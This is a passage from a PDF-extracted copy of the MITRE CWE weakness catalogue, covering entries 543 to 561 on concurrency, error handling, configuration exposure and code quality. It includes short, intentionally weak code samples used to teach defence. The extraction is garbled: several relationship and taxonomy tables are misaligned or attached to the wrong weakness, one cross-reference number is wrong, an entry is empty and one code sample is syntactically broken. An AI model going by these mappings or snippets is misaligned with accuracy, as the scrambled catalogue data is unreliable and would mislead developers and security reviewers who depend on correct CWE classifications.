<td>OWASP Top Ten 2004 Category A10 - Insecure Configuration</td>
<td>711</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Management</td>
<td>1123</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>857</td>
<td>CERT Java Secure Coding Section 12 - Input Output (FIO)</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings
CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Anonymous Tool Vendor (under NDA)</td>
<td>FIO13-J</td>
<td>Do not log sensitive information outside a trust boundary</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>SFP23</td>
<td>Exposed Data</td>
</tr>
</tbody>
</table>

**CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context**

**Weakness ID**: 543 *(Weakness Variant)*

**Status**: Incomplete

**Description**

**Summary**

The software uses the singleton pattern when creating a resource within a multithreaded environment.

**Extended Description**

The use of a singleton pattern may not be thread-safe.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- Java
- C++

**Common Consequences**

- Other
- Integrity
- Other
- Modify application data

**Demonstrative Examples**

This method is part of a singleton pattern, yet the following singleton() pattern is not thread-safe. It is possible that the method will create two objects instead of only one.

**Java Example:**

```java
private static NumberConverter singleton;
public static NumberConverter get_singleton() {
    if (singleton == null) {
        singleton = new NumberConverter();
    }
    return singleton;
}
```

Consider the following course of events:

Thread A enters the method, finds singleton to be null, begins the NumberConverter constructor, and then is swapped out of execution.

Thread B enters the method and finds that singleton remains null. This will happen if A was swapped out during the middle of the constructor, because the object reference is not set to point at the new object on the heap until the object is fully initialized.

Thread B continues and constructs another NumberConverter object and returns it while exiting the method.

Thread A continues, finishes constructing its NumberConverter object, and returns its version. At this point, the threads have created and returned two different objects.

**Potential Mitigations**

**Architecture and Design**

Use the Thread-Specific Storage Pattern. See References.

**Implementation**

Do not use member fields to store information in the Servlet. In multithreading environments, storing user data in Servlet member fields introduces a data access race condition.
Implementation
Limited
Avoid using the double-checked locking pattern in language versions that cannot guarantee thread safety. This pattern may be used to avoid the overhead of a synchronized call, but in certain versions of Java (for example), this has been shown to be unsafe because it still introduces a race condition (CWE-209).

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>381</td>
<td>J2EE Time and State Issues</td>
<td>662</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>820</td>
<td>Missing Synchronization</td>
<td>1252</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>861</td>
<td>CERT Java Secure Coding Section 49 - Miscellaneous (MSC)</td>
<td>1302</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>986</td>
<td>SFP Secondary Cluster: Missing Lock</td>
<td>1391</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT Java Secure Coding</td>
<td>MSC07-J</td>
<td>Prevent multiple instantiations of singleton objects</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP19</td>
<td>Missing Lock</td>
</tr>
</tbody>
</table>

References


CWE-544: Missing Standardized Error Handling Mechanism

Weakness ID: 544 (Weakness Base) Status: Draft

Description

Summary
The software does not use a standardized method for handling errors throughout the code, which might introduce inconsistent error handling and resultant weaknesses.

Extended Description
If the application handles error messages individually, on a one-by-one basis, this is likely to result in inconsistent error handling. The causes of errors may be lost. Also, detailed information about the causes of an error may be unintentionally returned to the user.

Time of Introduction
• Architecture and Design

Common Consequences

Integrity
Other
Quality degradation
Unexpected state
Varies by context

Potential Mitigations

Architecture and Design
Define a strategy for handling errors of different severities, such as fatal errors versus basic log events. Use or create built-in language features, or an external package, that provides an easy-to-use API and define coding standards for the detection and handling of errors.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>388</td>
<td>Error Handling</td>
<td>670</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>746</td>
<td>CERT C Secure Coding Section 12 - Error Handling (ERR)</td>
<td>1139</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>755</td>
<td>Improper Handling of Exceptional Conditions</td>
<td>1153</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>880</td>
<td>CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)</td>
<td>1321</td>
</tr>
</tbody>
</table>
CWE-545: DEPRECATED: Use of Dynamic Class Loading

**Description**

**Summary**

This weakness has been deprecated because it partially overlaps CWE-470, it describes legitimate programmer behavior, and other portions will need to be integrated into other entries.

---

CWE-546: Suspicious Comment

**Description**

**Summary**

The code contains comments that suggest the presence of bugs, incomplete functionality, or weaknesses.

**Extended Description**

Many suspicious comments, such as BUG, HACK, FIXME, LATER, LATER2, TODO, in the code indicate missing security functionality and checking. Others indicate code problems that programmers should fix, such as hard-coded variables, error handling, not using stored procedures, and performance issues.

**Time of Introduction**

- Implementation

**Common Consequences**

- Other

  **Quality degradation**

  Suspicious comments could be an indication that there are problems in the source code that may need to be fixed and is an indication of poor quality. This could lead to further bugs and the introduction of weaknesses.

**Demonstrative Examples**

The following excerpt demonstrates the use of a suspicious comment in an incomplete code block that may have security repercussions.

**Java Example:**

```java
if (user == null) {
    // TODO: Handle null user condition.
}
```

**Potential Mitigations**

**Documentation**

Remove comments that suggest the presence of bugs, incomplete functionality, or weaknesses, before deploying the application.

---

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>961</td>
<td>SFP Secondary Cluster: Incorrect Exception Behavior</td>
<td>888</td>
</tr>
</tbody>
</table>

---

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Anonymous Tool Vendor (under NDA)</td>
<td>ERR00-C</td>
<td>Adopt and implement a consistent and comprehensive error-handling policy</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>ERR00-CPP</td>
<td>Adopt and implement a consistent and comprehensive error-handling policy</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>ERR00-CPP</td>
<td>Adopt and implement a consistent and comprehensive error-handling policy</td>
</tr>
</tbody>
</table>

---

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>398</td>
<td>Indicator of Poor Code Quality</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>685</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-547: Use of Hard-coded, Security-relevant Constants

Nature Type ID Name Page
ChildOf C 963 SFP Secondary Cluster: Exposed Data 888 1381
MemberOf V 884 CWE Cross-section 884 1323

Taxonomy Mappings

CWE-547: Use of Hard-coded, Security-relevant Constants

Weakness ID: 547 (Weakness Variant) Status: Draft

Description

Summary
The program uses hard-coded constants instead of symbolic names for security-critical values, which increases the likelihood of mistakes during code maintenance or security policy change.

Extended Description
If the developer does not find all occurrences of the hard-coded constants, an incorrect policy decision may be made if one of the constants is not changed. Making changes to these values will require code changes that may be difficult or impossible once the system is released to the field. In addition, these hard-coded values may become available to attackers if the code is ever disclosed.

Time of Introduction
• Implementation

Common Consequences

Other
Varies by context
Quality degradation
The existence of hardcoded constants could cause unexpected behavior and the introduction of weaknesses during code maintenance or when making changes to the code if all occurrences are not modified. The use of hardcoded constants is an indication of poor quality.

Demonstrative Examples
The usage of symbolic names instead of hard-coded constants is preferred.
The following is an example of using a hard-coded constant instead of a symbolic name.

C/C++ Example:

```c
char buffer[1024];
...
fgets(buffer, 1024, stdin);
```

If the buffer value needs to be changed, then it has to be altered in more than one place. If the developer forgets or does not find all occurrences, in this example it could lead to a buffer overflow.

C/C++ Example:

```c
enum { MAX_BUFFER_SIZE = 1024 };
...
char buffer[MAX_BUFFER_SIZE];
...
fgets(buffer, MAX_BUFFER_SIZE, stdin);
```

In this example the developer will only need to change one value and all references to the buffer size are updated, as a symbolic name is used instead of a hard-coded constant.

Potential Mitigations

Implementation
Avoid using hard-coded constants. Configuration files offer a more flexible solution.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>398</td>
<td>Indicator of Poor Code Quality</td>
<td>699  685</td>
</tr>
</tbody>
</table>
### CWE-548: Information Exposure Through Directory Listing

**Weakness ID:** 548 *(Weakness Variant)*  
**Status:** Draft

#### Description

**Summary**
A directory listing is inappropriately exposed, yielding potentially sensitive information to attackers.

**Extended Description**
A directory listing provides an attacker with the complete index of all the resources located inside of the directory. The specific risks and consequences vary depending on which files are listed and accessible.

#### Time of Introduction
- Implementation
- Operation

#### Common Consequences

**Confidentiality**
**Read files or directories**
Exposing the contents of a directory can lead to an attacker gaining access to source code or providing useful information for the attacker to devise exploits, such as creation times of files or any information that may be encoded in file names. The directory listing may also compromise private or confidential data.

#### Potential Mitigations

**Architecture and Design**
**System Configuration**
Recommendations include restricting access to important directories or files by adopting a need to know requirement for both the document and server root, and turning off features such as Automatic Directory Listings that could expose private files and provide information that could be utilized by an attacker when formulating or conducting an attack.

#### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>736</td>
<td>CERT C Secure Coding Section 02 - Declarations and Initialization (DCL)</td>
<td>734</td>
<td>1134</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>950</td>
<td>SFP Secondary Cluster: Hardcoded Sensitive Data</td>
<td>888</td>
<td>1377</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
<td>1323</td>
</tr>
</tbody>
</table>

#### Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Anonymous Tool Vendor (under NDA)</td>
<td></td>
<td></td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>DCL06-C</td>
<td>Use meaningful symbolic constants to represent literal values in program logic</td>
</tr>
</tbody>
</table>

---

**Nature**  | **Type** | **ID**  | **Name**                                                      | **Page** | **Page**
--- | --- | --- |----------------------------------------------------------- | ------- | -------
ChildOf | C | 538 | File and Directory Information Exposure | 699 | 880
ChildOf | C | 552 | Files or Directories Accessible to External Parties | 1000 | 892
ChildOf | C | 731 | OWASP Top Ten 2004 Category A10 - Insecure Configuration Management | 711 | 1123
ChildOf | C | 933 | OWASP Top Ten 2013 Category A5 - Security Misconfiguration | 928 | 1364
ChildOf | C | 963 | SFP Secondary Cluster: Exposed Data | 888 | 1381

---

889
# CWE-549: Missing Password Field Masking

**Weakness ID:** 549 *(Weakness Variant)*

**Description**

**Summary**

The software does not mask passwords during entry, increasing the potential for attackers to observe and capture passwords.

**Time of Introduction**

- Implementation

**Common Consequences**

- Access Control
- Bypass protection mechanism

**Potential Mitigations**

**Implementation**

Recommendations include requiring all password fields in your web application be masked to prevent other users from seeing this information.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>255</td>
<td>Credentials Management</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>355</td>
<td>User Interface Security Issues</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>B</td>
<td>522</td>
<td>Insufficiently Protected Credentials</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>995</td>
<td>SFP Secondary Cluster: Feature</td>
<td>888</td>
</tr>
</tbody>
</table>

## Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Anonymous Tool Vendor (under NDA)</th>
</tr>
</thead>
</table>

## References


---

# CWE-550: Information Exposure Through Server Error Message

**Weakness ID:** 550 *(Weakness Variant)*

**Description**

**Summary**

Certain conditions, such as network failure, will cause a server error message to be displayed.

**Extended Description**

While error messages in and of themselves are not dangerous, per se, it is what an attacker can glean from them that might cause eventual problems.

**Time of Introduction**

- Implementation

**Common Consequences**

- Confidentiality
  - Read application data

**Potential Mitigations**
Architecture and Design
System Configuration

Recommendations include designing and adding consistent error handling mechanisms which are capable of handling any user input to your web application, providing meaningful detail to end-users, and preventing error messages that might provide information useful to an attacker from being displayed.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>209</td>
<td>Information Exposure Through an Error Message</td>
<td>397</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>1381</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization

Weakness ID: 551 (Weakness Base) Status: Incomplete

Description

Summary
If a web server does not fully parse requested URLs before it examines them for authorization, it may be possible for an attacker to bypass authorization protection.

Extended Description
For instance, the character strings \./ and / both mean current directory. If /SomeDirectory is a protected directory and an attacker requests \./SomeDirectory, the attacker may be able to gain access to the resource if \./ is not converted to / before the authorization check is performed.

Time of Introduction
• Implementation

Common Consequences
Access Control
Bypass protection mechanism

Potential Mitigations
Architecture and Design
URL Inputs should be decoded and canonicalized to the application’s current internal representation before being validated and processed for authorization. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>696</td>
<td>Incorrect Behavior Order</td>
<td>1080</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>723</td>
<td>OWASP Top Ten 2004 Category A2 - Broken Access Control</td>
<td>1119</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>863</td>
<td>Incorrect Authorization</td>
<td>1308</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>949</td>
<td>SFP Secondary Cluster: Faulty Endpoint Authentication</td>
<td>1376</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)
CWE-552: Files or Directories Accessible to External Parties

Weakness ID: 552 (Weakness Base)  

Status: Draft

Description

Summary

Files or directories are accessible in the environment that should not be.

Time of Introduction

• Implementation
• Operation

Common Consequences

Confidentiality

Integrity

Read files or directories

Modify files or directories

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>632</td>
<td>Weaknesses that Affect Files or Directories</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>668</td>
<td>Exposure of Resource to Wrong Sphere</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>731</td>
<td>OWASP Top Ten 2004 Category A10 - Insecure Configuration Management</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>743</td>
<td>CERT C Secure Coding Section 09 - Input Output (FIO)</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>815</td>
<td>OWASP Top Ten 2010 Category A6 - Security Misconfiguration</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>877</td>
<td>CERT C++ Secure Coding Section 09 - Input Output (FIO)</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td></td>
</tr>
</tbody>
</table>

| ParentOf | V    | 527| Exposure of CVS Repository to an Unauthorized Control Sphere |      |
| ParentOf | V    | 528| Exposure of Core Dump File to an Unauthorized Control Sphere |      |
| ParentOf | V    | 529| Exposure of Access Control List Files to an Unauthorized Control Sphere |      |
| ParentOf | V    | 530| Exposure of Backup File to an Unauthorized Control Sphere |      |
| ParentOf | V    | 532| Information Exposure Through Log Files              |      |
| ParentOf | V    | 540| Information Exposure Through Source Code             |      |
| ParentOf | V    | 548| Information Exposure Through Directory Listing       |      |
| ParentOf | V    | 553| Command Shell in Externally Accessible Directory     |      |

Affected Resources

• File/Directory

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A10</td>
<td>CWE More Specific</td>
<td>Insecure Configuration Management</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>FIO15-C</td>
<td></td>
<td>Ensure that file operations are performed in a secure directory</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>FIO15-C</td>
<td></td>
<td>Ensure that file operations are performed in a secure directory</td>
</tr>
</tbody>
</table>

CWE-553: Command Shell in Externally Accessible Directory

892
CWE-554: ASP.NET Misconfiguration: Not Using Input Validation Framework

Weakness ID: 554 (Weakness Variant)  
Status: Draft

Description
Summary
The ASP.NET application does not use an input validation framework.

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms
Languages
• .NET

Common Consequences
Integrity
Unexpected state
Unchecked input leads to cross-site scripting, process control, and SQL injection vulnerabilities, among others.

Potential Mitigations
Architecture and Design
Use the ASP.NET validation framework to check all program input before it is processed by the application. Example uses of the validation framework include checking to ensure that:
• Phone number fields contain only valid characters in phone numbers
• Boolean values are only "T" or "F"
• Free-form strings are of a reasonable length and composition

Relationships
CWE-555: J2EE Misconfiguration: Plaintext Password in Configuration File

**Description**

**Summary**
The J2EE application stores a plaintext password in a configuration file.

**Extended Description**

Storing a plaintext password in a configuration file allows anyone who can read the file to access the password-protected resource, making it an easy target for attackers.

**Time of Introduction**

• Architecture and Design
• Implementation

**Common Consequences**

Access Control
Bypass protection mechanism

**Demonstrative Examples**

Below is a snippet from a Java properties file in which the LDAP server password is stored in plaintext.

**Java Example:**

```
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
```

**Potential Mitigations**

**Architecture and Design**

Do not hardwire passwords into your software.

**Architecture and Design**

Use industry standard libraries to encrypt passwords before storage in configuration files.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>10</td>
<td>ASP.NET Environment Issues</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>20</td>
<td>Improper Input Validation</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>100</td>
<td>Technology-Specific Input Validation Problems</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Anonymous Tool Vendor (under NDA)</th>
<th>Node ID</th>
<th>SFP24</th>
</tr>
</thead>
<tbody>
<tr>
<td>Software Fault Patterns</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation

**Weakness ID:** 556 *(Weakness Variant)* **Status:** Incomplete

**Potential Mitigations**

**Architecture and Design**

Do not hardwire passwords into your software.
Description

Summary
Configuring an ASP.NET application to run with impersonated credentials may give the application unnecessary privileges.

Extended Description
The use of impersonated credentials allows an ASP.NET application to run with either the privileges of the client on whose behalf it is executing or with arbitrary privileges granted in its configuration.

Time of Introduction
- Implementation
- Operation

Common Consequences
Access Control
Gain privileges / assume identity

Potential Mitigations
Architecture and Design
Use the least privilege principle.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>10</td>
<td>ASP.NET Environment Issues</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>E</td>
<td>266</td>
<td>Incorrect Privilege Assignment</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>723</td>
<td>OWASP Top Ten 2004 Category A2 - Broken Access Control</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>951</td>
<td>SFP Secondary Cluster: Insecure Authentication Policy</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Category ID</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>Anonymous Tool Vendor</td>
<td>(under NDA)</td>
<td></td>
</tr>
</tbody>
</table>

CWE-557: Concurrency Issues

Category ID: 557 (Category)

Description

Summary
Weaknesses in this category are related to concurrent use of shared resources.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>361</td>
<td>Time and State</td>
<td>699</td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td>E</td>
<td>362</td>
<td>Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')</td>
<td>1000</td>
</tr>
<tr>
<td>PeerOf</td>
<td>C</td>
<td>371</td>
<td>State Issues</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>366</td>
<td>Race Condition within a Thread</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>558</td>
<td>Use of getlogin() in Multithreaded Application</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>567</td>
<td>Unsynchronized Access to Shared Data in a Multithreaded Context</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>572</td>
<td>Call to Thread run() instead of start()</td>
<td>699</td>
</tr>
</tbody>
</table>

CWE-558: Use of getlogin() in Multithreaded Application

Weakness ID: 558 (Weakness Variant)

Description

Summary
The application uses the getlogin() function in a multithreaded context, potentially causing it to return incorrect values.

Extended Description
The `getlogin()` function returns a pointer to a string that contains the name of the user associated with the calling process. The function is not reentrant, meaning that if it is called from another process, the contents are not locked out and the value of the string can be changed by another process. This makes it very risky to use because the username can be changed by other processes, so the results of the function cannot be trusted.

**Time of Introduction**
- Implementation

**Applicable Platforms**

**Languages**
- C
- C++

**Common Consequences**

- Integrity
- Access Control
- Other
- Modify application data
- Bypass protection mechanism
- Other

**Demonstrative Examples**

The following code relies on `getlogin()` to determine whether or not a user is trusted. It is easily subverted.

**C Example:**

```c
pwd = getpwnam(getlogin());
if (isTrustedGroup(pwd->pw_gid)) {
    allow();
} else {
    deny();
}
```

**Potential Mitigations**

**Architecture and Design**
- Using names for security purposes is not advised. Names are easy to forge and can have overlapping user IDs, potentially causing confusion or impersonation.

**Implementation**
- Use `getlogin_r()` instead, which is reentrant, meaning that other processes are locked out from changing the username.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>227</td>
<td>Improper Fulfillment of API Contract ('API Abuse')</td>
<td>700</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>557</td>
<td>Concurrency Issues</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>663</td>
<td>Use of a Non-reentrant Function in a Concurrent Context</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>1001</td>
<td>SFP Secondary Cluster: Use of an Improper API</td>
<td>888</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td>Often Misused: Authentication</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP3</td>
<td>Use of an improper API</td>
</tr>
</tbody>
</table>

**CWE-559: Often Misused: Arguments and Parameters**

**Category ID:** 559 *(Category)*  
**Status:** Draft

**Description**

**Summary**
- Weaknesses in this category are related to improper use of arguments or parameters within function calls.

**Relationships**
CWE-560: Use of umask() with chmod-style Argument

**Description**

**Summary**
The product calls umask() with an incorrect argument that is specified as if it is an argument to chmod().

**Time of Introduction**
- Implementation

**Applicable Platforms**

**Languages**
- C

**Common Consequences**
- Confidentiality
- Integrity
- Access Control
- Read files or directories
- Modify files or directories
- Bypass protection mechanism

**Potential Mitigations**

**Implementation**
- Use umask() with the correct argument.

**Testing**
- If you suspect misuse of umask(), you can use grep to spot call instances of umask().

**Other Notes**
The umask() man page begins with the false statement: "umask sets the umask to mask & 0777" Although this behavior would better align with the usage of chmod(), where the user provided argument specifies the bits to enable on the specified file, the behavior of umask() is in fact opposite: umask() sets the umask to ~mask & 0777. The umask() man page goes on to describe the correct usage of umask(): "The umask is used by open() to set initial file permissions on a newly-created file. Specifically, permissions in the umask are turned off from the mode argument to open(2) (so, for example, the common umask default value of 022 results in new files being created with permissions 0666 & ~022 = 0644 = rw-r--r-- in the usual case where the mode is specified as 0666)."

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>559</td>
<td>Often Misused: Arguments and Parameters</td>
<td>699 896</td>
</tr>
<tr>
<td>ChildOf</td>
<td>V</td>
<td>687</td>
<td>Function Call With Incorrectly Specified Argument Value</td>
<td>1000 1070</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>946</td>
<td>SFP Secondary Cluster: Insecure Resource Permissions</td>
<td>888 1375</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**
CWE-561: Dead Code

Weakness ID: 561 (Weakness Variant)
Status: Draft

Description

Summary
The software contains dead code, which can never be executed.

Extended Description
Dead code is source code that can never be executed in a running program. The surrounding code makes it impossible for a section of code to ever be executed.

Time of Introduction
• Implementation

Common Consequences
Other
Quality degradation
Dead code that results from code that can never be executed is an indication of problems with the source code that needs to be fixed and is an indication of poor quality.

Detection Methods

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
• Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
• Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
• Attack Modeling

Automated Static Analysis - Binary / Bytecode
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
• Binary / Bytecode Quality Analysis
• Compare binary / bytecode to application permission manifest

Dynamic Analysis with manual results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
• Automated Monitored Execution

Automated Static Analysis
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
• Permission Manifest Analysis
Automated Static Analysis - Source Code

SOAR High
According to SOAR, the following detection techniques may be useful:
- Highly cost effective:
  - Source Code Quality Analyzer
- Cost effective for partial coverage:
  - Warning Flags
  - Source code Weakness Analyzer
  - Context-configured Source Code Weakness Analyzer

Dynamic Analysis with automated results interpretation

SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Web Application Scanner
  - Web Services Scanner
  - Database Scanners

Manual Static Analysis - Source Code

SOAR High
According to SOAR, the following detection techniques may be useful:
- Highly cost effective:
  - Manual Source Code Review (not inspections)
- Cost effective for partial coverage:
  - Focused Manual Spotcheck - Focused manual analysis of source

Demonstrative Examples

Example 1:
The condition for the second if statement is impossible to satisfy. It requires that the variables be non-null, while on the only path where s can be assigned a non-null value there is a return statement.

C++ Example:
```cpp
Bad Code
String s = "null; 
if (b) { 
    s = "Yes"; 
    return; 
} 
if (s != null) { 
    Dead(); 
}
```

Example 2:
In the following class, two private methods call each other, but since neither one is ever invoked from anywhere else, they are both dead code.

Java Example:
```java
Bad Code
public class DoubleDead { 
